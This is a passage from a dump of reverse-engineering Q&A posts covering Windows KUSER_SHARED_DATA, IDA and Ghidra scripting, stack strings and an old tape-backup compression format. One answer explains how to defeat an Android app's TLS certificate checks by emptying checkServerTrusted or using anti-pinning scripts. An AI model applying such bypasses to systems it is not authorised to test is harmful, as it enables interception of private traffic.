nt!_KUSER_SHARED_DATA</code> to see the type definition.</p>\n<pre><code>0:000&gt; dt nt!_KUSER_SHARED_DATA\nntdll!_KUSER_SHARED_DATA\n   +0x000 TickCountLowDeprecated : Uint4B\n   +0x004 TickCountMultiplier : Uint4B\n   +0x008 InterruptTime    : _KSYSTEM_TIME\n   +0x014 SystemTime       : _KSYSTEM_TIME\n   +0x020 TimeZoneBias     : _KSYSTEM_TIME\n   +0x02c ImageNumberLow   : Uint2B\n   +0x02e ImageNumberHigh  : Uint2B\n   +0x030 NtSystemRoot     : [260] Wchar\n   +0x238 MaxStackTraceDepth : Uint4B\n   +0x23c CryptoExponent   : Uint4B\n   +0x240 TimeZoneId       : Uint4B\n   +0x244 LargePageMinimum : Uint4B\n   +0x248 AitSamplingValue : Uint4B\n   +0x24c AppCompatFlag    : Uint4B\n   +0x250 RNGSeedVersion   : Uint8B\n   +0x258 GlobalValidationRunlevel : Uint4B\n   +0x25c TimeZoneBiasStamp : Int4B\n   +0x260 NtBuildNumber    : Uint4B\n   +0x264 NtProductType    : _NT_PRODUCT_TYPE\n   +0x268 ProductTypeIsValid : UChar\n   +0x269 Reserved0        : [1] UChar\n   +0x26a NativeProcessorArchitecture : Uint2B\n   +0x26c NtMajorVersion   : Uint4B\n   +0x270 NtMinorVersion   : Uint4B\n   +0x274 ProcessorFeatures : [64] UChar\n   +0x2b4 Reserved1        : Uint4B\n   +0x2b8 Reserved3        : Uint4B\n   +0x2bc TimeSlip         : Uint4B\n   +0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE\n   +0x2c4 BootId           : Uint4B\n   +0x2c8 SystemExpirationDate : _LARGE_INTEGER\n   +0x2d0 SuiteMask        : Uint4B\n   +0x2d4 KdDebuggerEnabled : UChar\n   +0x2d5 MitigationPolicies : UChar\n   +0x2d5 NXSupportPolicy  : Pos 0, 2 Bits\n   +0x2d5 SEHValidationPolicy : Pos 2, 2 Bits\n   +0x2d5 CurDirDevicesSkippedForDlls : Pos 4, 2 Bits\n   +0x2d5 Reserved         : Pos 6, 2 Bits\n   +0x2d6 CyclesPerYield   : Uint2B\n   +0x2d8 ActiveConsoleId  : Uint4B\n   +0x2dc DismountCount    : Uint4B\n   +0x2e0 ComPlusPackage   : Uint4B\n   +0x2e4 LastSystemRITEventTickCount : Uint4B\n   +0x2e8 NumberOfPhysicalPages : Uint4B\n   +0x2ec SafeBootMode     : UChar\n   +0x2ed VirtualizationFlags : UChar\n   +0x2ee Reserved12       : [2] UChar\n   +0x2f0 SharedDataFlags  : Uint4B\n   +0x2f0 DbgErrorPortPresent : Pos 0, 1 Bit\n   +0x2f0 DbgElevationEnabled : Pos 1, 1 Bit\n   +0x2f0 DbgVirtEnabled   : Pos 2, 1 Bit\n   +0x2f0 DbgInstallerDetectEnabled : Pos 3, 1 Bit\n   +0x2f0 DbgLkgEnabled    : Pos 4, 1 Bit\n   +0x2f0 DbgDynProcessorEnabled : Pos 5, 1 Bit\n   +0x2f0 DbgConsoleBrokerEnabled : Pos 6, 1 Bit\n   +0x2f0 DbgSecureBootEnabled : Pos 7, 1 Bit\n   +0x2f0 DbgMultiSessionSku : Pos 8, 1 Bit\n   +0x2f0 DbgMultiUsersInSessionSku : Pos 9, 1 Bit\n   +0x2f0 DbgStateSeparationEnabled : Pos 10, 1 Bit\n   +0x2f0 SpareBits        : Pos 11, 21 Bits\n   +0x2f4 DataFlagsPad     : [1] Uint4B\n   +0x2f8 TestRetInstruction : Uint8B\n   +0x300 QpcFrequency     : Int8B\n   +0x308 SystemCall       : Uint4B\n   +0x30c Reserved2        : Uint4B\n   +0x310 SystemCallPad    : [2] Uint8B\n   +0x320 TickCount        : _KSYSTEM_TIME\n   +0x320 TickCountQuad    : Uint8B\n   +0x320 ReservedTickCountOverlay : [3] Uint4B\n   +0x32c TickCountPad     : [1] Uint4B\n   +0x330 Cookie           : Uint4B\n   +0x334 CookiePad        : [1] Uint4B\n   +0x338 ConsoleSessionForegroundProcessId : Int8B\n   +0x340 TimeUpdateLock   : Uint8B\n   +0x348 BaselineSystemTimeQpc : Uint8B\n   +0x350 BaselineInterruptTimeQpc : Uint8B\n   +0x358 QpcSystemTimeIncrement : Uint8B\n   +0x360 QpcInterruptTimeIncrement : Uint8B\n   +0x368 QpcSystemTimeIncrementShift : UChar\n   +0x369 QpcInterruptTimeIncrementShift : UChar\n   +0x36a UnparkedProcessorCount : Uint2B\n   +0x36c EnclaveFeatureMask : [4] Uint4B\n   +0x37c TelemetryCoverageRound : Uint4B\n   +0x380 UserModeGlobalLogger : [16] Uint2B\n   +0x3a0 ImageFileExecutionOptions : Uint4B\n   +0x3a4 LangGenerationCount : Uint4B\n   +0x3a8 Reserved4        : Uint8B\n   +0x3b0 InterruptTimeBias : Uint8B\n   +0x3b8 QpcBias          : Uint8B\n   +0x3c0 ActiveProcessorCount : Uint4B\n   +0x3c4 ActiveGroupCount : UChar\n   +0x3c5 Reserved9        : UChar\n   +0x3c6 QpcData          : Uint2B\n   +0x3c6 QpcBypassEnabled : UChar\n   +0x3c7 QpcShift         : UChar\n   +0x3c8 TimeZoneBiasEffectiveStart : _LARGE_INTEGER\n   +0x3d0 TimeZoneBiasEffectiveEnd : _LARGE_INTEGER\n   +0x3d8 XState           : _XSTATE_CONFIGURATION\n   +0x710 FeatureConfigurationChangeStamp : _KSYSTEM_TIME\n   +0x71c Spare            : Uint4B\n</code></pre>\n<p>(if we used <code>dt -r2 nt!_KUSER_SHARED_DATA 0x000000007ffe0000</code> -- assuming we're <em>not</em> on 64-bit ARM where the <code>KUSER_SHARED_DATA</code> is no longer at a fixed address -- we can see the &quot;decoded&quot; contents of this structure)</p>\n<p>By comparing this output with the one from Terminus (link above) we can see that we seem to be looking for <code>KUSER_SHARED_DATA::SystemCall</code> (in newer versions <code>SystemCallPad</code> as per Terminus, but the symbols call it <code>SystemCall</code> nevertheless). When we follow the logic from the function it appears as if it tries to dereference the given address, picked based on Windows 10 or not, as a pointer. The goal seems to be to figure out (from any given process) if that value is 0 or not. And that seems to be an indicator for whether or not we're on 32-bit.</p>\n<p><code>KUSER_SHARED_DATA</code> has all sorts of useful applications, one is to quickly determine the <em>true</em> Windows version with resorting to NT native function calls or having to specify in a manifest that your application is compatible with the Windows version it's running on.</p>\n<p>That said, it's always a certain risk to reach into OS structures like that and relying on a given layout. Microsoft seems to be aware that this is being used by third parties, enough so to have kept the address fixed but making the region read-only in newer Windows versions (article linked above).</p>\n<ul>\n<li><a href=\"https://osm.hpi.de/wrk/2007/08/getting-os-information-the-kuser_shared_data-structure/\" rel=\"nofollow noreferrer\">Older article</a>, including details on how to query system time</li>\n</ul>\n"
    },
    {
        "Id": "31383",
        "CreationDate": "2023-01-11T05:41:50.537",
        "Body": "<p>I am stuck in this video. Please solve this issue.</p>\n<p>This video is about Encryption and Decryption using  Win32 API.</p>\n<p><a href=\"https://www.youtube.com/watch?v=OQuRwpUTBpQ\" rel=\"noreferrer\">https://www.youtube.com/watch?v=OQuRwpUTBpQ</a></p>\n<p>In this video <strong>27:07</strong> it's saying &quot;10 IS HEX 5 bytes?&quot; But how?</p>\n<p>Please watch  this video to understand?</p>\n",
        "Title": "How 10 IS HEX 5 bytes?",
        "Tags": "|malware|",
        "Answer": "<p>The length of 10 is simply the number of characters selected.\nEach hexadecimal digit requires 4 bits (<code>0</code>..<code>F</code>).\nSo 10 hexadecimal digits take 40 bits (4 bits x 10) or 5 bytes (8 bits x 5).</p>\n"
    },
    {
        "Id": "31390",
        "CreationDate": "2023-01-12T06:02:41.200",
        "Body": "<p>From disassembled code, I want to extract the hexadecimal of instruction, as boxed in the figure below</p>\n<p><a href=\"https://i.stack.imgur.com/xWpK5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xWpK5.png\" alt=\"enter image description here\" /></a></p>\n<p>plus, I want to get distinct value of each opcode and its operand,\nwhich means sort of</p>\n<p>mov =&gt; 1 bl =&gt; 57   like thing.</p>\n<p>I'm not sure this is the one, but I've found something like this</p>\n<p><a href=\"https://i.stack.imgur.com/1fdDu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1fdDu.png\" alt=\"enter image description here\" /></a></p>\n<p>in <code>Ghidra/Processors/ARM/data/manuals/ARM.idx</code></p>\n",
        "Title": "How to get hexadecimal of instruction and distinct value(token) of opcode by ghidra script?",
        "Tags": "|ghidra|arm|hexadecimal|",
        "Answer": "<p>I'm going to assume you have an Address object (I'll just use currentAddress) .</p>\n<p>With an address you can get the Instruction at that address.  Then read that many bytes from Instruction object.</p>\n<pre><code>from ghidra.program.flatapi import FlatProgramAPI\n\napi = FlatProgramAPI(currentProgram, monitor)\ninstruction = api.getInstructionAt(currentAddress)\nibytes = insturction.getBytes()\nprint(binascii.hexlify(ibytes))\n</code></pre>\n<p>You can also inspect the operands with <code>instruction.getOpObjects()</code>.  Or look through the GhidraAPI to see what else you do with the operands.  I'm not exactly sure what you are hoping to get out it.</p>\n"
    },
    {
        "Id": "31393",
        "CreationDate": "2023-01-12T17:05:04.197",
        "Body": "<p>As per <a href=\"https://hex-rays.com/blog/igors-tip-of-the-week-122-manual-load/\" rel=\"nofollow noreferrer\">this recent blog article</a> one can set the PE loader to default to loading all sections. I even knew that. So setting the following setting in <code>cfg\\pe.cfg</code> does the trick:</p>\n<pre><code>PE_LOAD_ALL_SECTIONS = YES\n</code></pre>\n<p>I often find myself needing to load at least the file header (<a href=\"https://reverseengineering.stackexchange.com/q/30389/245\">sometimes in hindsight</a>) but there is no explicit option for the file header on the load dialog:</p>\n<p><a href=\"https://i.stack.imgur.com/okHf5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/okHf5.png\" alt=\"Load new file dialog\" /></a></p>\n<p>Instead we have the &quot;Load resources&quot; checkbox, which -- if checked -- avoids having to do a full manual load, but seems to load <em>both</em> the resources (<code>.rsrc</code> &quot;segment&quot;) and the file header (<code>HEADER</code> &quot;segment&quot;).</p>\n<p><a href=\"https://i.stack.imgur.com/AXkeC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AXkeC.png\" alt=\"List of segments\" /></a></p>\n<p>That <em>also</em> seems to be the effect of configuring <code>PE_LOAD_ALL_SECTIONS = YES</code>. Alas, if you set the configuration inside the <code>cfg\\pe.cfg</code>, the &quot;Load resources&quot; checkbox doesn't get default-checked or so.</p>\n<p>So my question is: are these two methods to load the file header and resources synonymous? If not, are they overlapping? What are the differences?</p>\n<hr />\n<h3>Experiment: trying all combinations on handle46.exe from SysInternals</h3>\n<p>Here's the outcome of the various settings on a PE file with IDA Pro 8.2.221215:</p>\n<ol>\n<li><code>PE_LOAD_ALL_SECTIONS = NO</code> (default) and <em>no changes</em> on the load dialog:<br />\n<a href=\"https://i.stack.imgur.com/g8YJW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/g8YJW.png\" alt=\"Just: PE_LOAD_ALL_SECTIONS = NO\" /></a></li>\n<li><code>PE_LOAD_ALL_SECTIONS = NO</code> (default) and &quot;[\u2714] Load resources&quot; on the load dialog:<br />\n<a href=\"https://i.stack.imgur.com/eusLx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eusLx.png\" alt=\"Load resources AND PE_LOAD_ALL_SECTIONS = NO\" /></a></li>\n<li><code>PE_LOAD_ALL_SECTIONS = YES</code> and <em>no changes</em> on the load dialog:<br />\n<a href=\"https://i.stack.imgur.com/Yevun.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yevun.png\" alt=\"Just: PE_LOAD_ALL_SECTIONS = YES\" /></a></li>\n<li><code>PE_LOAD_ALL_SECTIONS = YES</code> and &quot;[\u2714] Load resources&quot; on the load dialog:<br />\n<a href=\"https://i.stack.imgur.com/shg5p.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/shg5p.png\" alt=\"Load resources AND PE_LOAD_ALL_SECTIONS = YES\" /></a></li>\n</ol>\n<p>The odd outcome is 3., because it loads the <code>.rsrc</code> section although it hadn't been asked for it. That's also the reason why I asked this question in the first place.</p>\n",
        "Title": "Is \"PE_LOAD_ALL_SECTIONS = YES\" synonymous with \"Load resources\" from the \"Load a new file\" dialog?",
        "Tags": "|ida|",
        "Answer": "<p>I only get the <code>HEADER</code> segment when <code>PE_LOAD_ALL_SECTIONS</code> is set to <code>YES</code> in <code>cfg\\pe.cfg</code>.</p>\n<p>Checking <code>Load Resources</code> with <code>PE_LOAD_ALL_SECTIONS = NO</code> only adds the <code>.rsrc</code> segment for me (7.6 SP1).</p>\n"
    },
    {
        "Id": "31408",
        "CreationDate": "2023-01-15T05:59:27.190",
        "Body": "<p>When I press F5 in IDA to decompile, it always opens a new pseudocode tab, so over time many tabs open and I have to remember to close them. Can I make it so that F5 reuses an already open tab instead of opening a new one?</p>\n",
        "Title": "Reuse pseudocode tab when decompiling in IDA",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>Press <kbd>TAB</kbd> instead of <kbd>F5</kbd> to re-use the previous pseudocode tab rather than opening a new one.</p>\n"
    },
    {
        "Id": "31420",
        "CreationDate": "2023-01-17T05:03:14.880",
        "Body": "<p>This might be obvious, but I'm baffled.. I opened a random .so library to poke around and learn IDA a bit better, and I hit something I've never seen. IDA has these instructions:</p>\n<pre><code>mov     eax, [esp+4Ch+ptr]\nmov     dword ptr [eax], 665F6165h\nmov     dword ptr [eax+4], 6C615F66h\nmov     dword ptr [eax+8], 3A776F6Ch\nmov     dword ptr [eax+0Ch], 61736964h\nmov     dword ptr [eax+10h], 64656C62h\nmov     byte ptr [eax+14h], 0Ah\n</code></pre>\n<p>My guess is it's building some sort of struct, but it's moving dwords from addresses that don't exist in the binary (I think). When I try to jump to address 0x665F6165 for example, JumpAsk fails, which makes sense, since the hex view ends at 009636A0.. What are these weird addresses? Where are they coming from?</p>\n",
        "Title": "IDA mov dword ptr with non-existent addresses",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>Have it displayed as characters by hitting <kbd>r</kbd> (R) on the keyboard &quot;over&quot; each of those 32-bit constants.</p>\n<p>You should get four byte character literals for it, probably showing some ASCII values (and for Little Endian in apparent reverse order), similar to this:</p>\n<pre><code>mov     eax, [esp+4Ch+ptr]\nmov     dword ptr [eax], 'ea_f' ; 665F6165h\nmov     dword ptr [eax+4], 'f_al' ; 6C615F66h\nmov     dword ptr [eax+8], 'low:' ; 3A776F6Ch\nmov     dword ptr [eax+0Ch], 'disa' ; 61736964h\nmov     dword ptr [eax+10h], 'bled' ; 64656C62h\nmov     byte ptr [eax+14h], '\\n' ; 0Ah\n</code></pre>\n<p>Looks like an inlined <code>memcpy</code> (or <code>strcpy</code>) or <code>memmove</code> as a compiler would produce it during optimizations for string literals.</p>\n<p>Btw: this is called <a href=\"https://hex-rays.com/blog/igors-tip-of-the-week-88-character-operand-type-and-stack-strings/\" rel=\"nofollow noreferrer\">stack</a> <a href=\"https://reverseengineering.stackexchange.com/q/30463/245\">strings</a> (there are further links from my Q&amp;A). At some point you will develop a sixth sense for this sort of thing and will probably automatically <em>try</em> <kbd>r</kbd> to see if it yields something if the values look like ASCII.</p>\n"
    },
    {
        "Id": "31423",
        "CreationDate": "2023-01-17T12:52:21.843",
        "Body": "<p>I'm a beginner in the reversing field, so apologize if the question is too dumb.</p>\n<p>When analyzing binaries I always had this idea of saving somehow an execution flow so I can compare with other saved flow and get the exact points where they differ so I can start analyzing from that point.</p>\n<p>Having a tool capable of doing that would be awesome. I can think of a lot of stuff I could do with this that with my current skill level is simply not feasible.</p>\n<p>Is there a tool that already does that?</p>\n<p>If not, how could I create such a tool?</p>\n",
        "Title": "Analyzing the difference from 2 execution flows",
        "Tags": "|bin-diffing|",
        "Answer": "<p>Yes, there a marvelous tool available for your needs. Moreover it's free and open source (however earlier it was a commercial product - thanks to Google)</p>\n<p>Also please do check their another product BinDiff for comparison/difference in code execution.</p>\n<p><a href=\"https://www.zynamics.com/binnavi.html\" rel=\"nofollow noreferrer\">Link to software: Zynamics - Bin Navi</a></p>\n"
    },
    {
        "Id": "31457",
        "CreationDate": "2023-01-23T04:18:09.927",
        "Body": "<p>I'm playing with an ELF binary to learn IDA, and I'm not sure how to interpret what I'm seeing..</p>\n<p>A function calls this:</p>\n<pre><code>v1 = MList[2 * result];\n</code></pre>\n<p>When I look at MList, it looks like this:</p>\n<pre><code>public MList\nMList          dd 12Fh\ndd offset M1\ndb  30h ; 0\ndb    1\ndb    0\ndb    0\noffset M2\ndb  31h ; 1\ndb    1\ndb    0\ndb    0\ndd offset M3\ndb  32h ; 2\ndb    1\ndb    0\ndb    0\n...\n</code></pre>\n<p>Each of the <code>M*</code>s looks like this:</p>\n<pre><code>public M2\nM2 db  0Ch\ndb    0\ndb    0\ndb    0\ndb    1\n</code></pre>\n<p>So what exactly is MList? I'm guessing some kind of global table or something, but I can't make heads or tails of what it is. What would this be in regular C code?</p>\n",
        "Title": "Reversing rodata",
        "Tags": "|ida|c|unknown-data|",
        "Answer": "<p>MList  seems to be an array of 8-byte structures. Observe how it contains:</p>\n<ol>\n<li>a dword (4 bytes)</li>\n<li>an offset (4 bytes)</li>\n<li>4 bytes</li>\n<li>an offset</li>\n<li>(repeat)</li>\n</ol>\n<p>So it's probably something like:</p>\n<pre><code>struct mlist_item\n{\n int  number;\n int  *arr; \n};\n\nmlist_item MList[];\n</code></pre>\n"
    },
    {
        "Id": "31470",
        "CreationDate": "2023-01-25T06:34:47.550",
        "Body": "<p>I have an android application. It connects to a web socket server and uses the X509Certificate to verify the connection.</p>\n<pre><code> newBuilder.trustManagers(WebSocketClient.sTrustManagers);\n</code></pre>\n<p>By using Frida I was able to get <code>TrustManager[] trustManagerArr</code></p>\n<pre><code>trustManagerArr: [&quot;&lt;instance: javax.net.ssl.TrustManager, $className: im.sum.connections.Client$1&gt;&quot;]\n</code></pre>\n<p>How can I get certificate to use it for the purpose of establishing a connection from python?</p>\n<p>My Frida script</p>\n<pre><code>W1ebSocketClient[&quot;setTrustManagers&quot;].implementation = function (trustManagerArr) {\n     console.log(' !setTrustManagers is called' + ', ' + 'trustManagerArr: ' + JSON.stringify(trustManagerArr));\n   \n          \n     let ret = this.setTrustManagers(trustManagerArr);\n      console.log(' !setTrustManagers ret value is ' + ret);\n      return ret;\n };\n</code></pre>\n",
        "Title": "Frida hook X509Certificate",
        "Tags": "|android|frida|",
        "Answer": "<p>If you use an TLS interception proxy and have a rooted phone it may be easier to add the used root CA certificate as system certificate (like described in <a href=\"https://docs.mitmproxy.org/stable/howto-install-system-trusted-ca-android/\" rel=\"nofollow noreferrer\">mitmproxy doc</a>. Afterwards the certificate verification will work unless the app uses cert/key pinning.</p>\n<p>Alternatively you can use anti-SSL/TLS verification/pinning scripts included in <a href=\"https://github.com/sensepost/objection\" rel=\"nofollow noreferrer\">Objection</a>.</p>\n<p>If you want to develop a script yourself it is easier to hook the <code>javax.net.ssl.X509TrustManager</code> method <code>checkServerTrusted</code> and replace it with an empty method.</p>\n"
    },
    {
        "Id": "31478",
        "CreationDate": "2023-01-26T16:27:04.153",
        "Body": "<p>I'm recovering data from old tape cartridges from circa 1994, where the user had forgotten what software was used to write them, and it doesn't seem to be any format I recognize. Fortunately the file structure within the backup is fairly straightforward (it's just literally one file followed by another, aligned on a block boundary), so I was able to extract the file contents, but the files appear to be compressed using what appears to be a primitive compression scheme that I feel should be easy enough to reverse-engineer to a trained eye, so I thought I'd post it here.</p>\n<p>Fortunately the backup contains the user's DOS directory, with compressed versions of files from the standard DOS distribution (available on the web), so I'm able to cross-reference the compressed files against their known uncompressed versions.</p>\n<p>For example, here's the first few lines of the compressed version of DOSHELP.HLP, which is a simple plaintext file:</p>\n<pre><code>00000000  00 21 10 15 40 20 43 6F 70 79 72 69 67 68 74 20  .!..@ Copyright \n00000010  28 43 29 20 31 39 39 30 2D 13 21 10 0B 39 34 20  (C) 1990-.!..94 \n00000020  4D 69 63 72 6F 73 6F 66 0D 51 10 02 91 72 70 2E  Microsof.Q..\u2018rp.\n00000030  20 20 41 6C 6C 20 09 B1 10 74 30 07 2E 21 10 0A    All .\u00b1.t0..!..\n00000040  65 73 65 72 76 65 64 2E 0D 0A 03 41 05 68 90 06  eserved....A.h..\n00000050  32 11 14 20 40 07 68 50 06 1B 21 10 09 53 2D 44  2.. @.hP..!..S-D\n00000060  4F 53 20 67 65 6E 36 11 06 2D 61 14 02 71 6C 70  OS gen6..-a..qlp\n00000070  20 66 69 6C 65 28 01 02 49 D0 10 02 71 63 6F 6E   file(..I\u00d0..qcon\n00000080  74 61 69 6E 32 11 06 20 20 06 09 51 06 66 00 02  tain2..  ..Q.f..\n00000090  3C 31 10 64 40 13 1E 91 06 70 40 07 69 20 16 20  &lt;1.d@..\u2018.p@.i . \n000000A0  20 12 02 61 20 65 61 63 68 20 61 21 10 0D 6D 6D   ..a each a!..mm\n</code></pre>\n<p>and the reference uncompressed version:</p>\n<pre><code>00000000  40 20 43 6F 70 79 72 69 67 68 74 20 28 43 29 20  @ Copyright (C) \n00000010  31 39 39 30 2D 31 39 39 34 20 4D 69 63 72 6F 73  1990-1994 Micros\n00000020  6F 66 74 20 43 6F 72 70 2E 20 20 41 6C 6C 20 72  oft Corp.  All r\n00000030  69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E 0D  ights reserved..\n00000040  0A 40 20 54 68 69 73 20 69 73 20 74 68 65 20 4D  .@ This is the M\n00000050  53 2D 44 4F 53 20 67 65 6E 65 72 61 6C 20 68 65  S-DOS general he\n00000060  6C 70 20 66 69 6C 65 2E 20 20 49 74 20 63 6F 6E  lp file.  It con\n00000070  74 61 69 6E 73 20 61 20 62 72 69 65 66 20 0D 0A  tains a brief ..\n00000080  40 20 64 65 73 63 72 69 70 74 69 6F 6E 20 6F 66  @ description of\n00000090  20 65 61 63 68 20 63 6F 6D 6D 61 6E 64 20 73 75   each command su\n000000A0  70 70 6F 72 74 65 64 20 62 79 20 74 68 65 20 4D  pported by the M\n</code></pre>\n<p>It's very clearly a tantalizingly simple algorithm, but I'm hoping someone with more experience with compression can unravel it with greater ease than I can.</p>\n<hr />\n<p>So far I'm only able to discern basic &quot;run-length&quot; portions, for example, in the first two lines:</p>\n<pre><code>00000000  00 21 10 15 40 20 43 6F 70 79 72 69 67 68 74 20  .!..@ Copyright \n00000010  28 43 29 20 31 39 39 30 2D 13 21 10 0B 39 34 20  (C) 1990-.!..94 \n</code></pre>\n<p>...the <code>15</code> at offset 3 clearly indicates the next 0x15 bytes are uncompressed, and we see similar run lengths throughout, but beyond that is proving a challenge.</p>\n<p>Here are links to download a few full example files:</p>\n<ul>\n<li><a href=\"https://dmitrybrant.com/files/DOSHELP_COMP.HLP\" rel=\"noreferrer\">compressed</a> / <a href=\"https://dmitrybrant.com/files/DOSHELP.HLP\" rel=\"noreferrer\">uncompressed</a></li>\n<li><a href=\"https://dmitrybrant.com/files/DRVSPACE_COMP.TXT\" rel=\"noreferrer\">compressed</a> / <a href=\"https://dmitrybrant.com/files/DRVSPACE.TXT\" rel=\"noreferrer\">uncompressed</a></li>\n<li><a href=\"https://dmitrybrant.com/files/COMMAND_COMP.COM\" rel=\"noreferrer\">compressed</a> / <a href=\"https://dmitrybrant.com/files/COMMAND.COM\" rel=\"noreferrer\">uncompressed</a></li>\n</ul>\n",
        "Title": "Compression algorithm from very old tape backup?",
        "Tags": "|file-format|decompress|",
        "Answer": "<p>Just to close the loop on this:\nI ended up successfully reverse-engineering this compression format, which turned out to be written by an extremely obscure tape backup tool from the early 90s called TXPLUS.</p>\n<p>Here is some <a href=\"https://github.com/dbrant/QICStreamReader/blob/master/txver45/TxDecompressor.cs\" rel=\"noreferrer\">code</a> and documentation for uncompressing this format. It's a variant of LZ78, but it's unnecessarily convoluted and quite inefficient, which is probably why it's now in the dustbin of history.</p>\n"
    },
    {
        "Id": "31503",
        "CreationDate": "2023-02-02T17:08:53.557",
        "Body": "<p>I have two binaries. Both contain the string &quot;precondition failed&quot; (without the quotes).</p>\n<p>The corresponding byte sequence <code>70 72 65 63 6C 65 64 00</code> is the same for both binaries. However, the bytes before and after the string are different.</p>\n<p>Binary 1:</p>\n<pre><code>00000000000006E0  00 00 00 00 2F 00 00 00  70 72 65 63 6F 6E 64 69  ..../...precondi\n00000000000006F0  74 69 6F 6E 20 66 61 69  6C 65 64 00 FF FF FF FF  tion failed.....\n0000000000000700  69 6E 76 61 6C 69 64 20  61 72 67 75 6D 65 6E 74  invalid argument\n</code></pre>\n<p>Binary 2:</p>\n<pre><code>00000000000006E0  00 00 00 00 FF FF FF FF  70 72 65 63 6F 6E 64 69  ........precondi\n00000000000006F0  74 69 6F 6E 20 66 61 69  6C 65 64 00 2F 00 00 00  tion failed./...\n0000000000000700  69 6E 76 61 6C 69 64 20  61 72 67 75 6D 65 6E 74  invalid argument\n</code></pre>\n<p>For Binary 1, <code>strings --encoding=S</code> finds the &quot;precondition failed&quot;.</p>\n<p>For Binary 2, <code>strings --encoding=S</code> does <em>not</em> find the &quot;precondition failed&quot;.</p>\n<p>Why? Does it have to do with the enclosing bytes?</p>\n<p>For both binaries, IDA Pro recognises only one version of &quot;precondition failed&quot; and says it is of type &quot;C&quot;.</p>\n<p>EDIT: I am working with GNU strings (GNU Binutils) 2.39</p>\n",
        "Title": "GNU strings with --encoding=S",
        "Tags": "|binary-analysis|encodings|strings|",
        "Answer": "<p>Works for me with strings version 2.37:</p>\n<pre><code>$ strings --encoding=S bin1.bin \nprecondition failed\n\ufffd\ufffd\ufffd\ufffdinvalid argument\n$ strings --encoding=S bin2.bin \n\ufffd\ufffd\ufffd\ufffdprecondition failed\ninvalid argument\n</code></pre>\n"
    },
    {
        "Id": "31504",
        "CreationDate": "2023-02-02T20:37:19.487",
        "Body": "<p>I'm wondering whether it is possible to write a plugin for IDA and/or Hex-Rays which would  use Python callbacks to perform certain tasks.</p>\n<p>In particular I am wondering if there is an official way to reuse the loaded Python version and IDAPython in light of the Python GIL (global interpreter lock), because obviously attempting anything like that outside of the trodden path could easily to hard-to-debug deadlock situations.</p>\n<p>So the question is: how would I go about to write a C/C++-based plugin for IDA, which is able to (re)use the Python interpreter used by IDA for IDAPython -- and if possible even tap into IDAPython?</p>\n",
        "Title": "Is it possible to tap into IDAPython from within a (C) plugin? ... or at least use that Python instance?",
        "Tags": "|ida-plugin|idapro-sdk|",
        "Answer": "<p>You can register IDC functions from IDAPython plugins. See the <code>%IDADIR%\\python\\examples\\core\\extend_idc.py</code> for the following snippet:</p>\n<pre><code>from __future__ import print_function\n\nimport ida_expr\n\nif ida_expr.add_idc_func(\n        &quot;pow&quot;,\n        lambda n, e: n ** e,\n        (ida_expr.VT_LONG, ida_expr.VT_LONG)):\n    print(&quot;The pow() function is now available in IDC&quot;)\nelse:\n    print(&quot;Failed to register pow() IDC function&quot;)\n</code></pre>\n<p>Next, your C/C++ plugin code can invoke IDC functions. See <code>%IDASDK%\\plugins\\ex_debidc\\ex_debidc.cpp</code> for an example of how to use <code>expr.hpp::exec_idc_script</code>, whose prototype is as follows:</p>\n<pre><code>/// Compile and execute IDC function(s) from file.\n/// \\param result       ptr to idc_value_t to hold result of the function.\n///                     If execution fails, this variable will contain\n///                     the exception information.\n///                     You may pass nullptr if you are not interested in the returned\n///                     value.\n/// \\param path         text file containing text of IDC functions\n/// \\param func         function name to execute\n/// \\param args         array of parameters\n/// \\param argsnum      number of parameters to pass to 'fname'\n///                     This number should be equal to number of parameters\n///                     the function expects.\n/// \\param[out] errbuf  buffer for the error message\n/// \\retval true   ok\n/// \\retval false  error, see errbuf\n\nTHREAD_SAFE inline bool exec_idc_script(\n        idc_value_t *result,\n        const char *path,\n        const char *func,\n        const idc_value_t args[],\n        size_t argsnum,\n        qstring *errbuf=nullptr)\n</code></pre>\n"
    },
    {
        "Id": "31531",
        "CreationDate": "2023-02-12T18:09:02.213",
        "Body": "<p>IDA Pro 7.6</p>\n<p>Static disassembly of ARM executable.</p>\n<p>This binary has 40K functions or so, and no symbols.  So all the functions are sub_49FFA etc.</p>\n<p>However, 90% of these functions have a call to a debug logging function, which says what the function is.</p>\n<p>e.g.:</p>\n<pre><code>sub_49FFA() {\n     ....do stuff......\n     debug_message(0x9887, &quot;save_config()&quot;,&quot;Error:  Cannot save config: %s&quot;,&quot;No disk space!&quot;);\n     ....do stuff......     \n}\n</code></pre>\n<p>So we know sub_49FFA is really save_config()</p>\n<p>As this is ARM, this means arg2 is the r1 register pointing to a string.  This is shown in the disassembly with LDR r1,=save_config ; &quot;save_config()&quot; immediately before BL debug_message</p>\n<p>Is there a way for a script to find all the code refs to debug_message(), and rename the calling function (if not already named) with the string that names the function?</p>\n<p>Spent an hour searching, but I'm not skilled in IDA scripting or python so any help would be appreciated.</p>\n<p>Up until now, I've been exporting the binary as pseudo code, parsing it to make an .idc script to name the functions, but it's pretty error prone, takes a long time and I often have to load multiple versions of the executable for analysis.  Must be a better way.</p>\n<p>edit: Thanks to Rolf Rolles for their helpful suggestion of some script functions that might help.</p>\n<p>I've been able to cobble something together using the below</p>\n<pre><code>ref_addr=0x01D7448\n\nargs = idaapi.get_arg_addrs(ref_addr)\nfunc_name = get_func_name(ref_addr)\nfunc_addr = get_name_ea(0, func_name);\n\nprint (&quot;func_name for %x is %s (%x)&quot; % (ref_addr,func_name,func_addr))\nif args:\n   arg_offset = args[2]\n   print (&quot;arg_offset: %x   &quot; % arg_offset)     \n   debug_func_dcd = idc.get_operand_value(arg_offset, 1) \n   debug_func_addr = idaapi.get_dword(debug_func_dcd)\n   print (&quot;debug_func_dcd: %x      debug_func_addr: %x    &quot; % (debug_func_dcd,debug_func_addr))\n   str_type = 